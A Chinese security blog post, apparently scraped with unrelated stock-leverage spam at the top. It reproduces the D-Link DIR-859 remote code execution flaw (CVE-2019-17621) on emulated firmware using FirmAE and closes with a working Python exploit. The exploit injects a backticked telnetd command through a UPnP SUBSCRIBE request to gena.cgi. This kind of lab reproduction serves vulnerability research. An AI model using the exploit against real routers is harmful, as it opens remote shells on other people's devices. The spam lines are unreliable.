股票如何t0操作,配资炒股网站,股票做t手续费几个点

买股票怎么加杠杆佰朔资本介绍-k线图形态24种经典图解-【东方资本】,股票配资交易app,配资炒股比例国家规定是多少,配资在线平台排行榜

熱門閱讀

四年同行，韌性共鑄：西南某商行攜手美創(chuàng)科技再度通過年度容災(zāi)大考

2025-12-26

以“AI+數(shù)據(jù)安全”領(lǐng)雁！祝賀美創(chuàng)牽頭項(xiàng)目入選浙江省科技廳“尖兵領(lǐng)雁”計(jì)劃！

2025-12-22

美創(chuàng)AI災(zāi)備專家：引領(lǐng)災(zāi)備領(lǐng)域邁入“智能化”時(shí)代

2025-12-15

熱點(diǎn)觀察｜美創(chuàng)科技丁斐：數(shù)據(jù)安全 × 價(jià)值共創(chuàng)？可信數(shù)據(jù)空間的 “雙向奔赴”

2025-12-03

美創(chuàng)科技高校供應(yīng)鏈數(shù)據(jù)安全方案斬獲 2025 年度 “金智獎(jiǎng)”

2025-12-03

相關(guān)文章

Strix自動(dòng)滲透測(cè)試平臺(tái)搭建與使用

2025-12-22

每周安全速遞3?? | 勒索軟件攻擊導(dǎo)致心理健康機(jī)構(gòu)超11萬人數(shù)據(jù)泄露

2025-12-19

每周安全速遞3?? | 安卓勒索軟件DroidLock針對(duì)西班牙語言用戶進(jìn)行攻擊

2025-12-15

每周安全速遞3?? | 美國電信與汽車服務(wù)巨頭遭Cl0p勒索攻擊

2025-12-05

每周安全速遞3?? | ShinyHunters 開發(fā)新型勒索軟件ShinySp1d3r

2025-11-21

D-Link DIR-859 RCE漏洞（CVE-2019-17621）復(fù)現(xiàn)

發(fā)布時(shí)間：2023-03-17 閱讀次數(shù)： 911 次

環(huán)境搭建

1.FirmAE 工具安裝

首先拉取FirmAE 工具倉庫

git clone --recursive https://github.com/pr0v3rbs/FirmAE

運(yùn)行下載腳本

cd FirmAE/./download.sh

運(yùn)行./install.sh進(jìn)行安裝

2.下載固件

本文模擬的是設(shè)備型號(hào)為D-Link DIR-859

下載地址:

http://www.dlink.com.cn/techsupport/ProductInfo.aspx?m=DIR-859

下載后得到DIR859Ax_FW105b03.bin固件文件

3.FirmAE工具初始化

在FirmAE工具目錄下執(zhí)行./init.sh進(jìn)行初始化

4.安裝binwalk

這里使用FirmAE工具目錄下的binwalk安裝程序進(jìn)行安裝

cd binwalk-2.3.3/python3 setup.py install

5.模擬運(yùn)行固件
執(zhí)行如下命令對(duì)固件進(jìn)行解壓

binwalk -Me /root/DIR859_FW102b03.bin --run-as=root

執(zhí)行如下命令來模擬運(yùn)行固件

sudo ./run.sh -r DIR-859 /root/DIR859_FW102b03.bin

使用瀏覽器訪問http://192.168.0.1，出現(xiàn)如下界面則表明成功模擬了一臺(tái)D-Link DIR-859路由器

漏洞復(fù)現(xiàn)

查看端口

nmap 192.168.0.1

使用49152端口

EXP內(nèi)容如下：

import socketimport osｆｒｏｍ time import sleep
def httpSUB(server, port, shell_file):    con = socket.socket(socket.AF_INET, socket.SOCK_STREAM)    Payload = "SUBSCRIBE /gena.cgi?service=" + str(shell_file) + " HTTP/1.0\n"    Payload += "Host: " + str(server) + ":" + str(port) + "\n"    Payload += "Callback: <http://192.168.126.128:33/>\n"    Payload += "NT: upnp:event\n"    Payload += "Timeout: Second-1800\n"    Payload += "Accept-Encoding: gzip, deflate\n"    Payload += "User-Agent: gupnp-universal-cp GUPnP/1.0.2 DLNADOC/1.50\n\n"    print(Payload)    sleep(1)    print('[*] Sending Payload')    con.connect((socket.gethostbyname(server),port))    con.send(Payload.encode())    results = con.recv(4096)
    sleep(1)    print('[*] Running Telnetd Service')
serverInput = raw_input('IP Router: ')portInput = 49152
httpSUB(serverInput, portInput, '`telnetd`')